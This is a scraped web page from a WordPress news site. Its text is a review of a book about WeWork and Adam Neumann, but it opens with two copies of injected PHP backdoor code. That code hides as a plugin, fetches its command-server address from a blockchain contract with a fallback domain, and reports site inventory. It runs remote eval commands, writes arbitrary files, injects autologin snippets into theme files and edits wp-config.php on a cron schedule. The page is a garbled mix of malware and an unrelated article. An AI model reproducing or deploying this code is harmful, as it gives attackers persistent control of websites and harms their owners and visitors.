// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lots – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Sep 2022 18:07:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Lots – Brief News https://briefnews.eu 32 32 How to Get Rich By Losing Lots of Money https://briefnews.eu/how-to-get-rich-by-losing-lots-of-money/ https://briefnews.eu/how-to-get-rich-by-losing-lots-of-money/#respond Thu, 08 Sep 2022 18:07:08 +0000 https://briefnews.eu/how-to-get-rich-by-losing-lots-of-money/ HBO’s Silicon Valley aired its final episode last year, the tech world’s realities having gotten too dystopian to be fictionalized, in good conscience, for laughs. When a reporter asked what material the show had left on the table, the showrunners, Mike Judge and Alec Berg, admitted, “We missed the WeWork guy.” That guy—WeWork’s telegenic co-founder and former CEO, Adam Neumann—had once been known for turning an upscale co-working business into America’s most valuable private start-up, peddling vague kumbayas like This decade is the decade of “We.” But then WeWork filed paperwork to go public, revealing that the company had lost billions of dollars while enriching Neumann.

Among other extraordinary disclosures, it turned out that he had bought we-related trademarks, then charged WeWork $ 5.9 million to buy them. The press soon uncovered other details to fill out the portrait of a terrible little richling: Neumann’s practice of hotboxing chartered jets, whether his co-passengers liked it or not; his musings about becoming president of the world; his company-wide ban on meat that left executives puzzling over how to implement it.

When life transcends art, tell it straight. That’s what Reeves Wiedeman, a New York contributing editor since 2016, has done with Billion Dollar Loser, the propulsive tale of WeWork’s, and Neumann’s, rise and fall. Neumann is clearly not the first founder to enrich and empower himself while claiming to do the same for the masses. At a congressional hearing this summer about tech companies’ enormous wealth and influence, Facebook’s Mark Zuckerberg explained that his company is “giving every person a voice.” And while Neumann’s eccentricities are undeniable, Elon Musk, of Tesla and SpaceX, has a mind-reading start-up and a son named X Æ A-Xii. What sets Neumann apart is the flagrancy with which he exploited investors, employees, and customers for his own benefit. His innovation was, in the terms of the trade, one of scale.

Neumann spun an origin myth about growing up on a kibbutz in Israel, where he appreciated the community but bristled at how everyone was rewarded the same regardless of how much work they put in. He envisioned WeWork, he said, as a “capitalist kibbutz”—a “community,” but the kind where “you eat what you kill.”

Wiedeman (with whom I overlapped while working at The New Yorker) presents a more nuanced portrait of the founder as a young man. Neumann was born in 1979 in Beersheba, Israel, to physician parents who shuttled Neumann and his sister around desert towns before moving to the suburbs of Tel Aviv. When he was in the second grade, his grandmother realized that he couldn’t read the menu at a restaurant; he was dyslexic. “He had become skilled at fooling his teachers and coaxing others to do what he needed,” Wiedeman writes. After his parents divorced when he was 9, his mother moved, with him and his sister, to Indianapolis, where he struggled emotionally at first. Only later did the family live on a kibbutz, after they’d returned to Israel. Neumann went on to serve in the Israeli navy, and then moved to New York, where he enrolled at Baruch College, before launching a series of businesses—making collapsible high heels, then baby clothes with kneepads—and dropping out. In 2010, he and a friend, Miguel McKelvey, unveiled WeWork.

At the time, co-working spaces were already common. The business model was straightforward: Entrepreneurs “leased space, cut it up, and rented out each slice with an upcharge for hip design, flexibility, and regular happy hours,” Wiedeman writes. But those in charge typically ran no more than a few locations apiece, in part because operating multiple spaces required spending a lot of money, up front, on leases. What distinguished Neumann, along with his ambition, was “his connection to capital,” Wiedeman writes. Neumann had married Rebekah Paltrow, a wealthy cousin of Gwyneth Paltrow and a kabbalah devotee. She invested part of a $ 1 million nest egg in WeWork and introduced her husband to Manhattan’s Kabbalah Centre, where he met other well-off backers. By January 2012, he had raised almost $ 7 million.

Neumann’s approach to fundraising seems rooted in a simple tenet: Find out what investors want—then say whatever is needed to convince them that their desires are yours. Heavily reliant on support from the kabbalists, Neumann told a real-estate publication that WeWork had in fact been inspired by kabbalah: “I noticed that in the Kabbalah community, people were really helping each other. I wanted to translate that to business.” His chameleonic tendencies as a child and young man, it turned out, had been good training.

Later, as he began courting Silicon Valley’s venture-capital firms—which tend to invest in fast-growing tech companies—Neumann described WeWork as a “physical social network,” and promptly raised $ 16.5 million from Benchmark. Investors surely also liked his message about his company’s position in the Silicon Valley ecosystem: Work had come to feel alienating; WeWork would make it social again, while at the same time empowering independent-minded entrepreneurs to fulfill their individual dreams. As venture-capital funding poured in—seven more rounds followed—Neumann hired engineers to work on techie-sounding projects, such as building an exclusive social-networking platform for WeWork members. More significant, with investors encouraging fast growth, he leased hundreds of new spaces around the world, splurging on perks such as free beer and a bacchanalian retreat called Summer Camp, so as to fill them. At the same time, in the name of efficiency—which Silicon Valley investors appreciate almost as much as growth—he kept certain costs down. Neumann used nonunion laborers for construction, and many of WeWork’s employees put in long, poorly compensated hours. “I can hire a bunch of young people and pay them nothing,” he once said. Attendance at a “Thank God It’s Monday” pep rally, held after hours, was required.

[Annie Lowrey: The curse of the cult of the founder]

Then, in August 2017, came the apotheosis. Neumann convinced Masayoshi Son, the proudly offbeat CEO of the Japanese technology conglomerate SoftBank, that his company and its Vision Fund should invest $ 4.4 billion in WeWork—bringing its valuation to $ 20 billion and making it the fourth-most-valuable start-up in the U.S. Subsequent funding from SoftBank raised the company’s valuation to $ 47 billion in 2019, moving it into first place. Even some employees questioned the math. Neumann’s bespoke social-networking platform and other tech projects hadn’t panned out; an employee of a data-analytics start-up with a WeWork office discovered, through a security loophole, that only a fifth of WeWork members had posted at all. WeWork remained an upscale office-leasing business. But Son found Neumann charming. He asked him who would win in a fight, “the smart guy or the crazy guy?” The crazy one, Neumann replied—the right answer, according to Son.

Neumann acquired five companies in quick succession and, inexplicably, bought a significant stake in a company that makes wave pools. He leased enough additional real estate that WeWork became New York’s biggest office tenant, and he launched WeGrow, a private school run by Rebekah, whom WeWork had begun listing as a third co-founder. Dedicated to “unleashing every person’s superpower,” it charged up to $ 42,000 per student. At Summer Camp, Rebekah shared with attendees her dream of building “communities around the world where children who are not in the right situation could come and live forever, basically.” Neumann chimed in: “There are 150 million orphans in this world today. If we do the work right, we could wake up one day and say, ‘We want to solve the problem of children without parents in this world.’ ” Meanwhile, ahead of that event, the Neumanns had compiled a three-and-a-half-page list of items to be stocked at their campsite, including two bottles of $ 1,000 Highland Park scotch and a “Signature Range Rover for Rebekah/Adam use.”

No one could accuse Neumann of pursuing a plan that was too smart, or not crazy enough. As it had done almost every year since its start, WeWork was spending far more than it brought in. In April 2019, four months before everything fell apart, Wiedeman asked Neumann what his superpower was. “Change,” Neumann answered. “It’s the best superpower to have.”

After WeWork’s mismanagement became apparent, public investors swiftly lost interest in the IPO. Thinking a little shake-up might help, the board persuaded Neumann to step down as CEO, in return for an exit package worth nearly $ 1.7 billion, including the option of selling $ 970 million in shares to SoftBank. (Neumann had leverage because he had negotiated outsize voting power in the company.) But a year later, the recovery plan clearly has not been successful. WeWork, now run by a veteran real-estate executive, has indefinitely postponed its IPO. The beer no longer flows freely. Much of Neumann’s exit package is at risk of evaporating, after SoftBank reneged on the buyout it had promised. (Neumann has sued SoftBank, and the case is in the courts.) Even so, Neumann will have squeezed hundreds of millions of dollars out of the situation. While there are plenty of losers here, he can’t really be said to be one of them.

Wiedeman writes that it is “hard to figure out what lesson Adam, or the entrepreneurs of the future, should learn from his rise and fall.” Is it, though? In fact, any future entrepreneur who hopes to get rich fast can draw a straightforward directive from Neumann’s experience: Emulate it. More relevant is what the rest of us should learn. We have a habit of demonizing corporate figureheads much more than the investors who technically own the companies. For all of the books devoted to the Zuckerbergs, Musks, and Neumanns of the world, who can name their companies’ biggest shareholders? Yet the most important lesson in the rise and fall of WeWork has less to do with Neumann than with the ecosystem that nurtured him. “They’re trying to make this about Adam being a lunatic,” a real-estate executive told Wiedeman shortly after Neumann’s resignation. “These people invested, they knew the terms, they knew about the governance issues, and they told this guy, ‘Be you, but be ten times you.’ What did they expect?”

To be fair, the fact that no one saw Neumann coming might have something to do with the relative newness of the landscape in which WeWork’s odyssey took place. For decades, venture capitalists have tossed money at lots of unprofitable, fast-growing tech companies on the assumption that at least one of them would make it big. But in recent years, a staggering amount of funding has become available through the private market. To make a return, early investors don’t need an IPO—they just need some other private fund to come along later and buy their shares for more than they spent, a process through which founders can also cash out. (When SoftBank first invested in WeWork, Benchmark quietly sold more than $ 129 million in shares; Neumann sold $ 361 million worth.) Unsurprisingly, that has encouraged start-ups to stay private as long as they can, given that being public comes with more regulation and scrutiny. The number of U.S. “unicorns”—private companies worth at least $ 1 billion—has risen more than tenfold since WeWork’s founding, to more than 200.

The result is a perverse set of incentives for founders. There’s the push to keep their companies growing at any cost. But there’s also another quirk, one that Neumann exploited particularly well: Everyday investors in public companies aren’t likely to meet CEOs one-on-one, whereas private deals are still negotiated in person—between CEOs and venture capitalists—leaving the investors vulnerable to individual charisma. “The nature of the private markets is that if nine smart investors pass, it only takes one relatively dumber investor, and suddenly we’re valued at $ 16 billion,” one member of WeWork’s finance team told Wiedeman.

